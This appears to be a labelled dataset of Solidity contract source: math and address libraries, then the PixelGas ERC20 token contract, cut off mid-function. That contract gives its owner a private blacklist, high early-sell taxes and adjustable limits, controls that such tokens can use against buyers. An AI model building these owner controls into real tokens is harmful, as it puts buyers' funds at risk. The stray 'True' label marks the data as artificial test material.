x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
import "./SafeMath.sol";
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IERC20Mintable {
function mint( uint256 amount_ ) external;
function mint( address account_, uint256 ammount_ ) external;
}
|
True
|
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/*
Website: https://pixelgas.net/
Telegram: https://t.me/PixelGasETH
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PixelGas is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = false;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("PixelGas", "PixelGas") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 4;
uint256 _sellMarketingFee = 6;
uint256 _sellLiquidityFee = 3;
uint256 _sellDevFee = 4;
uint256 _earlySellLiquidityFee = 8;
uint256 _earlySellMarketingFee = 11;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
maxWallet = totalSupply * 5 / 1000; // 0.5% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
